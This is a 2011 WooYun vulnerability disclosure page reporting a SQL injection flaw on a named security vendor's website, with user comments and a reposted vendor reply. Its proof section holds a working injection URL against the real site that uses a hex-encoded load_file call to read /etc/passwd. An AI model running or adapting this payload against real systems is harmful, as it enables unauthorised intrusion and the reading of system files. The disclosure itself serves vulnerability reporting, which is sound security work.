当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2011-02868

漏洞标题：深信服root权限SQL注射漏洞

相关厂商：深信服安全设备商

漏洞作者： 路人甲

提交时间：2011-09-23 17:19

修复时间：2011-09-23 17:19

公开时间：2011-09-23 17:19

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2011-09-23： 积极联系厂商并且等待厂商认领中，细节不对外公开
2011-09-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

深信服root权限SQL注射漏洞，下一代应用防火墙与你同在，阿门

详细说明：


可以看出
1 程序有漏洞
2 系统配置不当
3 系统没有部防火墙或者防火墙没有起作用或者防火墙起作用了但是跑去玩了

漏洞证明：

http://www.sangfor.com.cn/partner/NewsList.php?classid=21111%20union%20select%20load_file%280x2f6574632f706173737764%29,2,3

修复方案：

呵呵

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：5 (WooYun评价)

漏洞评价：

评论

  1. 2011-09-23 17:23 | iucker ( 实习白帽子 | Rank:84 漏洞数:10 | 不要让梦想褪色成幻想)

    防火墙，你妈喊你回家看门！

  2. 2011-09-23 18:14 | rayh4c ( 普通白帽子 | Rank:240 漏洞数:23 )

    转官方的回复：多谢提醒，这是我们放在电信IDC机房里托管的主机，由IT部门负责维护，从您反馈的情况看，我们的IT部门维护Web服务器的专业水平有待提高，加上前面没有放置防火墙，所以导致存在漏洞，我们会尽快修复，再次感谢！厂商的态度非常好，这个问题虽然值得反思，但和防火墙产品应该是没有任何关系的。

  3. 2011-09-23 18:45 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    额 猜也是这样

  4. 2011-09-24 18:54 | softbug ( 实习白帽子 | Rank:66 漏洞数:10 | 为人类设计最好的软件，解放人的双手,一起...)

    丢脸